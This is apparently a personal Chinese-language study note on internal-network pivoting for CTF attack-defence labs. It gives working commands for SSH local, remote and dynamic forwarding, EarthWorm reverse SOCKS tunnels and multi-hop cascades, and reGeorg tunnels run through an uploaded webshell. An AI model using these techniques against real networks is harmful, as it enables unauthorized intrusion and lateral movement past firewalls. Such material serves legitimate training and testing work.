(自己的理解,可能有误)
A——B——C
A对C的请求,B作为代理,代替A去访问C,并将结果返回给A,则B是正向代理
B主动与A的8888端口建立连接,并将A:8888的访问转为对C:80的访问,结果返回给A,则B是反向代理
反向代理的好处:当AB之间有防火墙,不允许A连B,但是允许B连A
A([email protected]) (kali,具有完备的攻击环境)
B([email protected])
C([email protected])
前提:知道B的ssh口令(常见于CTF的AWD中的渗透模式)
在A上运行
ssh -2 -D 2333 [email protected]
这条命令是将A本地的2333端口,与B的22端口建立socks连接,运行后需要输入B的ssh口令
测试,直接在A访问C的80端口,不过浏览器要侦听127.0.0.1:2333socks代理
测试,直接在A扫描C的所有端口,不过要调用proxychains,侦听127.0.0.1:2333
A上运行
ssh -L 1111:192.168.168.3:80 [email protected]
A访问127.0.0.1:1111相当于访问192.168.168.3:80(C),中间需要[email protected](B)来帮忙转发,需要输入B的ssh账号密码
A上运行
ssh -L 2222:192.168.168.3:22 [email protected]
A访问127.0.0.1:2222相当于访问192.168.168.3:22(C),中间需要[email protected](B)来帮忙转发,需要输入B的ssh账号密码
先在A(kali)上生成ssh需要的host key
ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key
ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key
在B上运行
ssh -R 8888:192.168.168.3:80 [email protected]
B主动向A发起ssh连接,需要输入A的ssh账号口令
将来自(A)192.168.168.1:8888的请求,转化为对(C)192.168.168.3:80的请求,然后将结果通过ssh隧道,返回给A
在B上运行
ssh -R 2222:192.168.168.3:22 [email protected]
在B上运行两条命令
ssh -R 8888:127.0.0.1:4444 [email protected]
B作反向代理,将A:8888与B:4444打通ssh隧道
ssh -2 -D 4444 [email protected]
B将本地4444端口与C打通ssh隧道,C作正向代理
现在A就能以127.0.0.1:8888为socks代理,去访问D了,甚至扫描D
可以用ew来建立正向代理、反向代理、多级级联,非常强大
旧版,已够用 http://rootkiter.com/EarthWorm/
新版,更新中,侧重shell管理 http://rootkiter.com/Termite/
用菜刀上传ew.zip到B上,并移动到tmp目录下
用菜刀的虚拟终端在B上执行
unzip ew.zip
file /sbin/init (查看linux位数)
chmod 777 ew_for_Linux32
./ew_for_Linux32 -s ssocksd -l 2333 (侦听0.0.0.0:2333)
netstat -pantu|grep 2333 (查看是否侦听成功)
在A上执行
chmod 777 ./ew_for_linux64
./ew_for_linux64 -s rcsocks -l 1080 -e 2333
A侦听0.0.0.0:2333端口,并转发为0.0.0.0:1080端口
在B上执行
chmod 777 ew_for_Linux32
./ew_for_Linux32 -s rssocks -d 192.168.168.1 -e 2333
B反向连接A:2333端口
此时以A的1080端口为代理,就能直接打C了,实际渗透中,192.168.168.1常是一台公网服务器,然后kali再去连接公网的1080端口,但我这里仍然是在kali下演示
使用完ew,记得杀掉进程,可以ps+kill查杀,也可以粗暴点,直接kill 0
B上运行
./ew_for_Linux32 -s rcsocks -l 1080 -e 2333
侦听0.0.0.0:2333,流量转发到0.0.0.0:1080
C上运行
./ew_for_Linux32 -s rssocks -d 192.168.168.2 -e 2333
C反向连接B:2333端口
这样A上以B 192.168.168.2:1080为socks代理,可以直接对D进行渗透
达到以192.168.168.1:1080为socks代理,能对D进行渗透
沟通B和C
B上运行
./ew_for_Linux32 -s rcsocks -l 1080 -e 2333
C上运行
./ew_for_Linux32 -s rssocks -d 192.168.168.2 -e 2333
B侦听0.0.0.0:2333端口,并转为0.0.0.0:1080端口
C反向连接B的2333端口
沟通A和B
A上运行
./ew_for_linux64 -s rcsocks -l 1080 -e 2333
B上运行
./ew_for_Linux32 -s lcx_slave -d 192.168.168.1 -e 2333 -f 127.0.0.1 -g 1080
A侦听0.0.0.0:2333端口,并转为0.0.0.0:1080端口
B反向连接A的2333端口,并把流量转发到本地的1080端口
https://github.com/sensepost/reGeorg
https://sensepost.com/discover/tools/reGeorg/
reGeorg利用webshell建立一个socks代理进行内网穿透,服务器必须支持aspx、php、jsp、js等web语言
菜刀连接192.168.168.2的webshell,上传tunnel.php和tunnel.nosocket.php到web根目录
在A(kali)上运行
python reGeorgSocksProxy.py -p 2333 http://192.168.168.2/tunnel.php
建立不了连接
python reGeorgSocksProxy.py -p 2333 http://192.168.168.2/tunnel.nosocket.php
成功建立连接
此时会利用192.168.168.2的web服务,与本机的kali的2333端口建立socks连接,现在就能在A上打C了
内网渗透随想 redrain写的
http://www.anquan.us/static/drops/tips-5234.html
内网渗透中转发工具总结
http://www.anquan.us/static/drops/tools-15000.html
【T00ls精华文】代理转发工具汇总分析
https://mp.weixin.qq.com/s/heSvLuJtdPyJfsKJVlZEhw
内网漫游之SOCKS代理大结局
https://www.anquanke.com/post/id/85494
ssh端口转发详解
https://www.cnblogs.com/-chaos/archive/2013/10/19/3378564.html
http://blog.csdn.net/a351945755/article/details/21785647
http://blog.csdn.net/qq_27446553/article/details/51981764